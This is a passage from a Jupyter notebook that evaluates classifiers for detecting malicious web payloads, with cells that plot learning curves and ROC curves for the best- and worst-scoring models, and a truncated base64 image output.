    "#plot learning curve for count 3grams MultinomialNB\n",
    "X = payloads['payload']\n",
    "Y = payloads['is_malicious']\n",
    "plot_learning_curve(classifier_results.iloc[6],X,Y)\n",
    "\n",
    "#plot learning curve for custom svm\n",
    "X = create_features(pd.DataFrame(payloads['payload'].copy()))\n",
    "Y = payloads['is_malicious']\n",
    "plot_learning_curve(classifier_results.iloc[5],X,Y)\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### ROC curves\n",
    "Plot ROC curves for a range of classifiers to visualize the sensitivity/specificity trade-off and the AUC"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 240,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def visualize_result(classifier_list):\n",
    "    '''Plot the ROC curve for a list of classifiers in the same graph\n",
    "    \n",
    "    input - classifier_list: a subset of classifier_results\n",
    "    '''\n",
    "\n",
    "    f, (ax1, ax2) = plt.subplots(1,2)\n",
    "    f.set_figheight(6)\n",
    "    f.set_figwidth(15)\n",
    "    \n",
    "    #Subplot 1, ROC curve\n",
    "    for classifier in classifier_list:\n",
    "        ax1.plot(classifier['roc']['fpr'], classifier['roc']['tpr'])\n",
    "        ax1.scatter(1-classifier['specificity'],classifier['sensitivity'], edgecolor='k')\n",
    "    ax1.set_xlim([0, 1])\n",
    "    ax1.set_ylim([0, 1.0])\n",
    "    ax1.set_title('ROC curve for top3 and bottom3 classifiers')\n",
    "    ax1.set_xlabel('False Positive Rate (1 - Specificity)')\n",
    "    ax1.set_ylabel('True Positive Rate (Sensitivity)')\n",
    "    ax1.grid(True)\n",
    "    \n",
    "    #subplot 2, ROC curve zoomed\n",
    "    for classifier in classifier_list:\n",
    "        ax2.plot(classifier['roc']['fpr'], classifier['roc']['tpr'])\n",
    "        ax2.scatter(1-classifier['specificity'],classifier['sensitivity'], edgecolor='k')\n",
    "    ax2.set_xlim([0, 0.3])\n",
    "    ax2.set_ylim([0.85, 1.0])\n",
    "    ax2.set_title('ROC curve for top3 and bottom3 classifiers (Zoomed)')\n",
    "    ax2.set_xlabel('False Positive Rate (1 - Specificity)')\n",
    "    ax2.set_ylabel('True Positive Rate (Sensitivity)')\n",
    "    ax2.grid(True)\n",
    "    \n",
    "    #Add further zoom\n",
    "    left, bottom, width, height = [0.7, 0.27, 0.15, 0.15]\n",
    "    ax3 = f.add_axes([left, bottom, width, height])\n",
    "    \n",
    "    for classifier in classifier_list:\n",
    "        ax3.plot(classifier['roc']['fpr'], classifier['roc']['tpr'])\n",
    "        ax3.scatter(1-classifier['specificity'],classifier['sensitivity'], edgecolor='k')\n",
    "        \n",
    "    ax3.set_xlim([0, 0.002])\n",
    "    ax3.set_ylim([0.983, 1.0])\n",
    "    ax3.set_title('Zoomed even further')\n",
    "    ax3.grid(True)\n",
    "    plt.show()\n",
    "    "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Plot ROC curves for the top3 classifiers and the bottom 3 classifiers, sorted by F1-score  \n",
    "Left: standard scale ROC curve \n",
    "Right: zoomed in version of same graph, to easier see in the upper right corner"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 241,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "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